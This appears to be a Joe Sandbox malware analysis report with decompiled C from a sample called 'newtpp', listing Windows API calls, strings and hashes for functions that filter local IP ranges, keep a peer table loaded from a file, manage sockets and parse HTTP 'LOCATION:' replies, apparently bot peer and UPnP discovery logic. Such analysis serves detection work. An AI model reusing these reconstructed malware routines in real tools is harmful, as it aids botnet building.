			E00409A30(signed int _a4, intOrPtr _a8, signed int _a12) {
				signed char _v5;
				signed int _v12;
				signed int _v13;
				signed int _v20;
				signed char _t50;
				char* _t52;
				char* _t54;
				char* _t57;
				signed int _t61;
				void* _t65;
				char* _t68;
				char* _t72;
				signed int _t77;
				char* _t78;
				signed int _t80;
				signed int _t89;
				signed int _t91;
				intOrPtr _t93;
				char* _t95;
				void* _t97;
				void* _t98;
				void* _t100;
				void* _t102;
				void* _t106;
				void* _t109;

				_t50 = E00409770(_a4);
				_t98 = _t97 + 4;
				_t74 = _t50 & 0x000000ff;
				if((_t50 & 0x000000ff) == 0) {
					_t52 = strstr(E004094E0(_t74, _a4), "127.");
					_t100 = _t98 + 0xc;
					__eflags = _t52;
					if(_t52 == 0) {
						L6:
						_t54 = strstr(E004094E0(_t74, _a4), "10.");
						_t102 = _t100 + 0xc;
						__eflags = _t54;
						if(_t54 == 0) {
							L10:
							EnterCriticalSection(0x416df4);
							_v5 = 0;
							_v12 = 0;
							while(1) {
								__eflags = _v12 -  *0x416e2c; // 0x0
								if(__eflags >= 0) {
									break;
								}
								_t93 =  *((intOrPtr*)(0x416e30 + _v12 * 4));
								__eflags =  *((intOrPtr*)(_t93 + 4)) - _a4;
								if( *((intOrPtr*)(_t93 + 4)) != _a4) {
									_t95 = _v12 + 1;
									__eflags = _t95;
									_v12 = _t95;
									continue;
								}
								_t65 = E0040BE60();
								_t55 = _t65 - _a8;
								 *((intOrPtr*)( *((intOrPtr*)(0x416e30 + _v12 * 4)) + 8)) = _t65 - _a8;
								_v5 = 1;
								break;
							}
							E00409980(_t55);
							_t57 = _v5 & 0x000000ff;
							__eflags = _t57;
							if(_t57 != 0) {
								L27:
								LeaveCriticalSection(0x416df4);
								return _t57;
							}
							_v13 = 0;
							__eflags =  *0x416e2c - 0x200;
							if( *0x416e2c == 0x200) {
								_v13 = 1;
							}
							_t57 = E00408B00(0xc);
							_v20 = _t57;
							__eflags = _v20;
							if(_v20 == 0) {
								goto L27;
							} else {
								 *((intOrPtr*)(_v20 + 4)) = _a4;
								 *((intOrPtr*)(_v20 + 8)) = E0040BE60() - _a8;
								__eflags = _v13 & 0x000000ff;
								if((_v13 & 0x000000ff) == 0) {
									_t89 =  *0x416e2c; // 0x0
									_t60 = _v20;
									 *((intOrPtr*)(0x416e30 + _t89 * 4)) = _v20;
									_t77 =  *0x416e2c; // 0x0
									_t78 = _t77 + 1;
									__eflags = _t78;
									 *0x416e2c = _t78;
									L25:
									_t57 = E00409980(_t60);
									__eflags = _a12 & 0x000000ff;
									if((_a12 & 0x000000ff) != 0) {
										_t57 = E00409660(_t57);
									}
									goto L27;
								} else {
									goto L21;
								}
								while(1) {
									L21:
									_t61 =  *0x416e2c; // 0x0
									__eflags =  *(0x416e2c[_t61]);
									if( *(0x416e2c[_t61]) == 0) {
										break;
									}
									Sleep(1);
								}
								_t91 =  *0x416e2c; // 0x0
								 *(0x416e2c[_t91]) = 1;
								_t80 =  *0x416e2c; // 0x0
								E00408C70(0x416e2c[_t80]);
								_t60 =  *0x416e2c; // 0x0
								0x416e2c[_t60] = _v20;
								goto L25;
							}
						}
						_t68 = strstr(E004094E0(_t74, _a4), ".10");
						_t106 = _t102 + 0xc;
						__eflags = _t68;
						if(_t68 == 0) {
							L9:
							return _t68;
						}
						_t68 = strstr(E004094E0(_a4, _a4), ".10.");
						_t102 = _t106 + 0xc;
						__eflags = _t68;
						if(_t68 != 0) {
							goto L10;
						}
						goto L9;
					}
					_t72 = strstr(E004094E0(_t74, _a4), ".127");
					_t109 = _t100 + 0xc;
					__eflags = _t72;
					if(_t72 == 0) {
						L5:
						return _t72;
					}
					_t74 = _a4;
					_t72 = strstr(E004094E0(_a4, _a4), ".127.");
					_t100 = _t109 + 0xc;
					__eflags = _t72;
					if(_t72 != 0) {
						goto L6;
					}
					goto L5;
				}
				return _t50;
			}

0x00409a3a
0x00409a3f
0x00409a42
0x00409a47
0x00409a60
0x00409a65
0x00409a68
0x00409a6a
0x00409aad
0x00409abf
0x00409ac4
0x00409ac7
0x00409ac9
0x00409b0c
0x00409b11
0x00409b17
0x00409b1b
0x00409b2d
0x00409b30
0x00409b36
0x00000000
0x00000000
0x00409b3b
0x00409b45
0x00409b48
0x00409b27
0x00409b27
0x00409b2a
0x00000000
0x00409b2a
0x00409b4a
0x00409b4f
0x00409b5c
0x00409b5f
0x00000000
0x00409b5f
0x00409b67
0x00409b6c
0x00409b70
0x00409b72
0x00409c48
0x00409c4d
0x00000000
0x00409c4d
0x00409b78
0x00409b7c
0x00409b86
0x00409b88
0x00409b88
0x00409b8e
0x00409b96
0x00409b99
0x00409b9d
0x00000000
0x00409ba3
0x00409ba9
0x00409bb7
0x00409bbe
0x00409bc0
0x00409c17
0x00409c1d
0x00409c20
0x00409c27
0x00409c2d
0x00409c2d
0x00409c30
0x00409c36
0x00409c36
0x00409c3f
0x00409c41
0x00409c43
0x00409c43
0x00000000
0x00000000
0x00000000
0x00000000
0x00409bc2
0x00409bc2
0x00409bc2
0x00409bce
0x00409bd1
0x00000000
0x00000000
0x00409bd5
0x00409bd5
0x00409bdd
0x00409bea
0x00409bf0
0x00409bfe
0x00409c06
0x00409c0e
0x00000000
0x00409c0e
0x00409b9d
0x00409add
0x00409ae2
0x00409ae5
0x00409ae7
0x00000000
0x00000000
0x00000000
0x00409afb
0x00409b00
0x00409b03
0x00409b05
0x00000000
0x00000000
0x00000000
0x00409b05
0x00409a7e
0x00409a83
0x00409a86
0x00409a88
0x00000000
0x00000000
0x00000000
0x00409a8f
0x00409a9c
0x00409aa1
0x00409aa4
0x00409aa6
0x00000000
0x00000000
0x00000000
0x00409aa6
0x00000000

APIs

Part of subcall function 00409770: gethostname.WS2_32(?,00000100), ref: 0040978C
Part of subcall function 00409770: gethostbyname.WS2_32(?), ref: 0040979E

strstr.NTDLL ref: 00409A60
strstr.NTDLL ref: 00409A7E
strstr.NTDLL ref: 00409A9C

Strings

.127., xrefs: 00409A8A
.10., xrefs: 00409AE9
.10, xrefs: 00409ACB
127., xrefs: 00409A4E
.127, xrefs: 00409A6C
10., xrefs: 00409AAD

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: strstr$gethostbynamegethostname
String ID: .10$.10.$.127$.127.$10.$127.
API String ID: 2540993189-3303897403
Opcode ID: 42776ebd3e410ca7c1fc6fe8d2357f856bb71b1c556b321f1289088777c786c6
Instruction ID: 3df5601b161af7dea13d6a0229968f945e0e067b118b08783a6fcb5bdca65d6d
Opcode Fuzzy Hash: 42776ebd3e410ca7c1fc6fe8d2357f856bb71b1c556b321f1289088777c786c6
Instruction Fuzzy Hash: AC51B4B8E043449BDB04EB61E841BAA7BB5AB44308F04C53EE904673C2D67EE951CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC90 Relevance: 16.6, APIs: 11, Instructions: 95
threadsleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0040BC90(LONG* _a4, intOrPtr _a8) {
				int _v8;
				long _v12;
				LONG* _v16;
				signed char _v17;
				long _v24;
				signed int _v28;
				signed int _t57;
				intOrPtr _t80;

				_v8 = GetThreadPriority(GetCurrentThread());
				SetThreadPriority(GetCurrentThread(), 0xfffffffe);
				_v12 = 0;
				if(_a4 != 0) {
					_v16 = _a4;
					if(InterlockedExchangeAdd(_v16, 0) > 0) {
						_v17 = 0 | _a8 != 0xffffffff;
						while(1 != 0) {
							_v24 = 0;
							EnterCriticalSection( &(_v16[1]));
							_v28 = 0;
							while(_v28 <  *_v16) {
								if( *(_v16[7] + _v28 * 4) != 0) {
									_t57 = WaitForSingleObject( *(_v16[7] + _v28 * 4), 0);
									asm("sbb eax, eax");
									_v24 =  ~_t57 + 1 + _v24;
								} else {
									_v24 = _v24 + 1;
								}
								_v28 = _v28 + 1;
							}
							LeaveCriticalSection( &(_v16[1]));
							if(_v24 !=  *_v16) {
								if((_v17 & 0x000000ff) == 0) {
									L15:
									Sleep(1);
									continue;
								} else {
									_t80 = _a8 - 1;
									_a8 = _t80;
									if(_t80 != 0) {
										goto L15;
									} else {
									}
								}
							} else {
								_v12 = 1;
							}
							goto L16;
						}
					}
				}
				L16:
				SetThreadPriority(GetCurrentThread(), _v8);
				return _v12;
			}

0x0040bca3
0x0040bcaf
0x0040bcb5
0x0040bcc0
0x0040bcc9
0x0040bcda
0x0040bce9
0x0040bcec
0x0040bcf9
0x0040bd07
0x0040bd0d
0x0040bd1f
0x0040bd36
0x0040bd52
0x0040bd5a
0x0040bd62
0x0040bd38
0x0040bd3e
0x0040bd3e
0x0040bd1c
0x0040bd1c
0x0040bd6e
0x0040bd7c
0x0040bd8d
0x0040bd9c
0x0040bd9e
0x00000000
0x0040bd8f
0x0040bd92
0x0040bd95
0x0040bd98
0x00000000
0x00000000
0x0040bd9a
0x0040bd98
0x0040bd7e
0x0040bd7e
0x0040bd7e
0x00000000
0x0040bd7c
0x0040bcec
0x0040bcda
0x0040bda9
0x0040bdb4
0x0040bdc0

APIs

GetCurrentThread.KERNEL32 ref: 0040BC96
GetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BC9D
GetCurrentThread.KERNEL32 ref: 0040BCA8
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF,?,0040EC84), ref: 0040BCAF
InterlockedExchangeAdd.KERNEL32(000000FF,00000000), ref: 0040BCD2
EnterCriticalSection.KERNEL32(000000FB), ref: 0040BD07
WaitForSingleObject.KERNEL32(000000FF,00000000), ref: 0040BD52
LeaveCriticalSection.KERNEL32(000000FB), ref: 0040BD6E
Sleep.KERNEL32(00000001), ref: 0040BD9E
GetCurrentThread.KERNEL32 ref: 0040BDAD
SetThreadPriority.KERNEL32(00000000,?,0040E1CE,?,000000FF), ref: 0040BDB4

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Thread$CurrentPriority$CriticalSection$EnterExchangeInterlockedLeaveObjectSingleSleepWait
String ID:
API String ID: 3862671961-0
Opcode ID: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction ID: 7471dcba010468c66186aef50ce52d9a71631389d56eaee9496ec156eb60796e
Opcode Fuzzy Hash: 9b630854fbef9f049a7081aae18ede4369720886b006fadf81150b85c4d4f177
Instruction Fuzzy Hash: E7414E74D00209EFDB14CFA4D848BAEBB75FF44305F20C16AE906A7380D7789A81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00409D40 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409D40() {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				long _v24;
				DWORD* _v28;
				signed int _v32;
				intOrPtr _t41;
				void* _t74;

				InitializeCriticalSection(0x416df4);
				_v12 = 0;
				while(_v12 < 0x200) {
					E00409A30( *((intOrPtr*)(0x4143b8 + _v12 * 4)), E0040BE60(), 0);
					_t74 = _t74 + 0xc;
					_v12 = _v12 + 1;
				}
				_v8 = CreateFileW(0x416be8, 0x80000000, 0, 0, 3, 0, 0);
				if(_v8 != 0xffffffff) {
					_v16 = CreateFileMappingW(_v8, 0, 2, 0, 0, 0);
					if(_v16 != 0) {
						_v20 = MapViewOfFile(_v16, 4, 0, 0, 0);
						if(_v20 != 0) {
							_v24 = GetFileSize(_v8, 0);
							_v28 = 0;
							_v32 = 0;
							while(_v28 < _v24 && _v32 < 0x200) {
								E00409A30( *((intOrPtr*)(_v20 + _v32 * 8)), E0040BE60() -  *((intOrPtr*)(_v20 + 4 + _v32 * 8)), 0);
								_t74 = _t74 + 0xc;
								_v28 =  &(_v28[2]);
								_v32 = _v32 + 1;
							}
							UnmapViewOfFile(_v20);
						}
						CloseHandle(_v16);
					}
					CloseHandle(_v8);
				}
				E00409750();
				_t41 =  *0x416e10; // 0x0
				return E0040BBA0(_t41, 0, E00409620, 0, 0, 0);
			}

0x00409d4b
0x00409d51
0x00409d63
0x00409d7f
0x00409d84
0x00409d60
0x00409d60
0x00409da3
0x00409daa
0x00409dc4
0x00409dcb
0x00409de3
0x00409dea
0x00409df8
0x00409dfb
0x00409e02
0x00409e1d
0x00409e4a
0x00409e4f
0x00409e11
0x00409e1a
0x00409e1a
0x00409e58
0x00409e58
0x00409e62
0x00409e62
0x00409e6c
0x00409e6c
0x00409e72
0x00409e84
0x00409e95

APIs

InitializeCriticalSection.KERNEL32(00416DF4,?,?,?,?,?,?,00406559), ref: 00409D4B
CreateFileW.KERNEL32(00416BE8,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00409D9D
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 00409DBE
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00409DDD
GetFileSize.KERNEL32(000000FF,00000000), ref: 00409DF2
UnmapViewOfFile.KERNEL32(00000000), ref: 00409E58
CloseHandle.KERNEL32(00000000), ref: 00409E62
CloseHandle.KERNEL32(000000FF), ref: 00409E6C

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL(00409E35), ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL(00409E35,?), ref: 0040BE78

Strings

Ye@, xrefs: 00409DEE, 00409E68, 00409DBA

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleTimeView$CriticalInitializeMappingQuerySecondsSectionSince1980SizeSystemUnmap
String ID: Ye@
API String ID: 439099756-4068086367
Opcode ID: f34f8cfc51801f30e90d44d220303d9a0f78e995387e0b56e3f657b0986bfc59
Instruction ID: 4dce5e276bdf20b80a38771717a09593e8b4a8e5598cf30a42ed89e5f557a98d
Opcode Fuzzy Hash: f34f8cfc51801f30e90d44d220303d9a0f78e995387e0b56e3f657b0986bfc59
Instruction Fuzzy Hash: F4413F74E40308BBDB10DBA4DC4ABAEB774AB44704F208569F611772C2C7B96941CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1D0 Relevance: 15.1, APIs: 10, Instructions: 145
fileCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E0040D1D0(WCHAR* _a4) {
				void* _v8;
				long _v12;
				void* _v16;
				DWORD* _v20;
				char _v21;
				void* _v28;
				void* _v32;
				char _v48;
				DWORD* _t70;
				void* _t73;
				void* _t103;

				_v21 = 0;
				_v12 = 0;
				_v20 = 0;
				_v8 = 0;
				_v16 = CreateFileW(_a4, 0x80000000, 0, 0, 3, 0, 0);
				if(_v16 == 0xffffffff) {
					L12:
					if(_v8 != 0) {
						_v16 = CreateFileW(_a4, 0x40000000, 0, 0, 2, 0, 0);
						if(_v16 != 0xffffffff) {
							_v21 = 1;
							WriteFile(_v16, _v8, _v12,  &_v12, 0);
							CloseHandle(_v16);
						}
						E00408C70(_v8);
					}
					return _v21;
				}
				_v28 = CreateFileMappingW(_v16, 0, 2, 0, 0, 0);
				if(_v28 == 0) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v32 = MapViewOfFile(_v28, 4, 0, 0, 0);
				if(_v32 == 0) {
					L10:
					CloseHandle(_v28);
					goto L11;
				} else {
					_v12 = GetFileSize(_v16, 0);
					if(_v12 > 0x100) {
						_t70 = E0040B1E0(_v32, _v32);
						_t103 = _t103 + 4;
						_v20 = _t70;
						if(_v20 != 0 && _v20[6] == _v12 - 0x100) {
							_v12 = _v20[6];
							_t73 = E0040AB80(_v32 + 0x100,  &(_v20[2]), 0x10, _v32 + 0x100, _v12);
							_t103 = _t103 + 0x10;
							_v8 = _t73;
							if(_v8 != 0) {
								E004094C0(_v8, _v12,  &_v48);
								_t103 = _t103 + 0xc;
								asm("repe cmpsd");
								if(0 != 0) {
									E00408C70(_v8);
									_t103 = _t103 + 4;
									_v8 = 0;
								}
							}
						}
					}
					UnmapViewOfFile(_v32);
					goto L10;
				}
			}

0x0040d1d8
0x0040d1dc
0x0040d1e3
0x0040d1ea
0x0040d20a
0x0040d211
0x0040d323
0x0040d327
0x0040d342
0x0040d349
0x0040d34b
0x0040d361
0x0040d36b
0x0040d36b
0x0040d375
0x0040d37a
0x0040d385
0x0040d385
0x0040d22b
0x0040d232
0x0040d319
0x0040d31d
0x00000000
0x0040d31d
0x0040d24a
0x0040d251
0x0040d30f
0x0040d313
0x00000000
0x0040d257
0x0040d263
0x0040d26d
0x0040d277
0x0040d27c
0x0040d27f
0x0040d286
0x0040d29f
0x0040d2b9
0x0040d2be
0x0040d2c1
0x0040d2c8
0x0040d2d6
0x0040d2db
0x0040d2ee
0x0040d2f0
0x0040d2f6
0x0040d2fb
0x0040d2fe
0x0040d2fe
0x0040d2f0
0x0040d2c8
0x0040d286
0x0040d309
0x00000000
0x0040d309

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000), ref: 0040D204
CreateFileMappingW.KERNEL32(000000FF,00000000,00000002,00000000,00000000,00000000), ref: 0040D225
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 0040D244
GetFileSize.KERNEL32(000000FF,00000000), ref: 0040D25D
UnmapViewOfFile.KERNEL32(00000000), ref: 0040D309
CloseHandle.KERNEL32(00000000), ref: 0040D313
CloseHandle.KERNEL32(000000FF), ref: 0040D31D
CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040D33C
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 0040D361
CloseHandle.KERNEL32(000000FF), ref: 0040D36B

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandle$View$MappingSizeUnmapWrite
String ID:
API String ID: 171974401-0
Opcode ID: 42738202a373e86da52720a5def95d02706c9cd7ae46f1d94619cfd4c34c3cbf
Instruction ID: 3921fc4700ee4b190ae2af8b7d894abc0534e186cae3a84a50511f4350192fbd
Opcode Fuzzy Hash: 42738202a373e86da52720a5def95d02706c9cd7ae46f1d94619cfd4c34c3cbf
Instruction Fuzzy Hash: 97512CB5E00208FBDB14DFE4CC59BEEBB74AB48704F208569E611772C0D7B96A45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E840 Relevance: 13.6, APIs: 9, Instructions: 141
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040E840(void* __eax, long __ebx, void* __ecx, short _a4, short _a6) {
				long _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				char _v28;
				void* __esi;
				intOrPtr _t59;
				intOrPtr _t64;
				void* _t73;
				void* _t106;
				void* _t108;

				_t108 = __eax;
				_t106 = __ecx;
				if(_a4 != 0 || __ebx == 0) {
					InterlockedDecrement(_t108 + 0x14);
					_a4 = 1;
					_t59 =  *((intOrPtr*)(_t106 + 0x260));
					 *((char*)(_t106 + 0x275)) = 1;
					_a6 = 0;
					__imp__#21(_t59, 0xffff, 0x80,  &_a4, 4);
					__imp__#3( *((intOrPtr*)(_t106 + 0x260)));
					 *((intOrPtr*)(_t106 + 0x260)) = 0xffffffff;
					return _t59;
				}
				InterlockedExchange(_t106 + 4, E0040BE60());
				_t64 =  *((intOrPtr*)(_t108 + 0x18));
				if(_t64 == 0) {
					if( *((char*)(_t106 + 0x275)) == 0) {
						 *((intOrPtr*)(_t108 + 0x28)) =  *((intOrPtr*)(_t108 + 0x28)) + __ebx;
						if( *((intOrPtr*)(_t108 + 0x28)) >=  *((intOrPtr*)(_t108 + 0x24))) {
							InterlockedDecrement(_t108 + 0x14);
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v8 =  *((intOrPtr*)(_t108 + 0x30));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v4 =  *((intOrPtr*)(_t108 + 0x28));
							return E0040E220(2, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
						} else {
							 *((intOrPtr*)(_t108 + 0x20)) =  *((intOrPtr*)(_t108 + 0x20)) + __ebx;
							 *((intOrPtr*)(_t108 + 0x1c)) =  *((intOrPtr*)(_t108 + 0x1c)) - __ebx;
							_push(_t106);
							return E0040E5C0(_t108);
						}
					} else {
						return InterlockedDecrement(_t108 + 0x14);
					}
				} else {
					_t73 = _t64 - 1;
					if(_t73 != 0) {
						L14:
						return _t73;
					} else {
						if( *((intOrPtr*)(_t106 + 0x275)) == _t73) {
							InterlockedDecrement(_t106 + 0x21c);
							InterlockedExchangeAdd( *((intOrPtr*)(_t106 + 0x27c)) + 0x44, __ebx);
							_v28 =  *((intOrPtr*)(_t106 + 0x264));
							_v24 =  *((intOrPtr*)(_t106 + 0x268));
							_v16 =  *((intOrPtr*)(_t106 + 0x270));
							_v20 =  *((intOrPtr*)(_t106 + 0x26c));
							_v12 =  *((intOrPtr*)(_t106 + 0x278));
							_v8 = _t106 + 8;
							_v4 = __ebx;
							E0040E220(3, _t106,  *((intOrPtr*)(_t106 + 0x27c)),  &_v28);
							_t73 = E0040E7D0(_t106);
							if(_t73 != 0) {
								goto L14;
							} else {
								 *((char*)(_t106 + 0x275)) = 1;
								return _t73;
							}
						} else {
							return InterlockedDecrement(_t106 + 0x21c);
						}
					}
				}
			}

0x0040e84a
0x0040e84c
0x0040e84e
0x0040e9d6
0x0040e9ed
0x0040e9f2
0x0040ea00
0x0040ea07
0x0040ea0c
0x0040ea19
0x0040ea1f
0x00000000
0x0040ea1f
0x0040e866
0x0040e86f
0x0040e872
0x0040e935
0x0040e947
0x0040e950
0x0040e96b
0x0040e983
0x0040e98d
0x0040e994
0x0040e998
0x0040e9a2
0x0040e9b1
0x0040e9c0
0x0040e9d1
0x0040e952
0x0040e952
0x0040e955
0x0040e958
0x0040e966
0x0040e966
0x0040e937
0x0040e946
0x0040e946
0x0040e878
0x0040e878
0x0040e87b
0x0040ea2e
0x0040ea2e
0x0040e881
0x0040e887
0x0040e8a3
0x0040e8b4
0x0040e8cc
0x0040e8d6
0x0040e8e0
0x0040e8e4
0x0040e8e8
0x0040e8fa
0x0040e906
0x0040e90a
0x0040e914
0x0040e91b
0x00000000
0x0040e921
0x0040e921
0x0040e92d
0x0040e92d
0x0040e889
0x0040e89b
0x0040e89b
0x0040e887
0x0040e87b

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 0040E866
InterlockedDecrement.KERNEL32(?), ref: 0040E890
InterlockedDecrement.KERNEL32(?), ref: 0040E8A3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 0040E8B4
InterlockedDecrement.KERNEL32(?), ref: 0040E93B
InterlockedDecrement.KERNEL32(?), ref: 0040E9D6
setsockopt.WS2_32 ref: 0040EA0C
closesocket.WS2_32(?), ref: 0040EA19

Part of subcall function 0040BE60: NtQuerySystemTime.NTDLL(00409E35), ref: 0040BE6A
Part of subcall function 0040BE60: RtlTimeToSecondsSince1980.NTDLL(00409E35,?), ref: 0040BE78

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 26865f6f9a7a2407e5d3755a8cdf3ada0c05da486e3de92f16a63baf35bb6218
Instruction ID: b9f556da3bb5aac27c1329fbefbdde51c01563ae05ed193aa0a017dd72204b88
Opcode Fuzzy Hash: 26865f6f9a7a2407e5d3755a8cdf3ada0c05da486e3de92f16a63baf35bb6218
Instruction Fuzzy Hash: D951BD75608701ABC704DF29D888B97FBE4BF88314F008A2EE49D93361D775A558CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C490 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 60
sleepCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040C490(intOrPtr __eax, intOrPtr _a4, intOrPtr* _a8) {
				char _v1028;
				char _v1029;
				intOrPtr _v1036;
				char* _v1040;
				char* _v1044;
				intOrPtr _t20;
				intOrPtr _t29;
				void* _t37;

				_t20 = __eax;
				_v1029 = 0;
				_v1036 = 0;
				while(_v1036 < 2) {
					__imp__#17(_a4,  &_v1028, 0x400, 0, 0, 0);
					if(_t20 != 0xffffffff) {
						_v1029 = 1;
						if(StrCmpNIA( &_v1028, "HTTP/1.1 200 OK", 0xf) == 0) {
							_v1040 = StrStrIA( &_v1028, "LOCATION: ");
							if(_v1040 != 0) {
								_v1044 = _v1040 + 0xa;
								_t29 = E0040B290(_v1044, _v1044, StrChrA(_v1044, 0xd) - _v1044);
								_t37 = _t37 + 8;
								 *_a8 = _t29;
							}
						}
					} else {
						Sleep(0x3e8);
					}
					_t20 = _v1036 + 1;
					_v1036 = _t20;
				}
				return _v1029;
			}

0x0040c490
0x0040c499
0x0040c4a0
0x0040c4bb
0x0040c4de
0x0040c4e7
0x0040c4f6
0x0040c513
0x0040c527
0x0040c534
0x0040c53f
0x0040c562
0x0040c567
0x0040c56d
0x0040c56d
0x0040c534
0x0040c4e9
0x0040c4ee
0x0040c4ee
0x0040c4b2
0x0040c4b5
0x0040c4b5
0x0040c57d

APIs

recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040C4DE
Sleep.KERNEL32(000003E8), ref: 0040C4EE
StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040C50B
StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040C521
StrChrA.SHLWAPI(?,0000000D), ref: 0040C54E

Strings

LOCATION: , xrefs: 0040C515
HTTP/1.1 200 OK, xrefs: 0040C4FF

Memory Dump Source

Source File: 00000000.00000002.1293028304.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1293009998.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293078750.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293103984.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1293126970.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_newtpp.jbxd

Yara matches

Similarity

API ID: Sleeprecvfrom
String ID: HTTP/1.1 200 OK$LOCATION:
API String ID: 668330359-3973262388
Opcode ID: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
Instruction ID: 8bedf7fd65d1d668ead3ec736ca13f9a22eb8deece20412d9194f72f96c2fcee
Opcode Fuzzy Hash: d874aecdcf10d4b5be9618b38b24f3ae2d323a3f92cb0c3b0d60b3f526243bf0
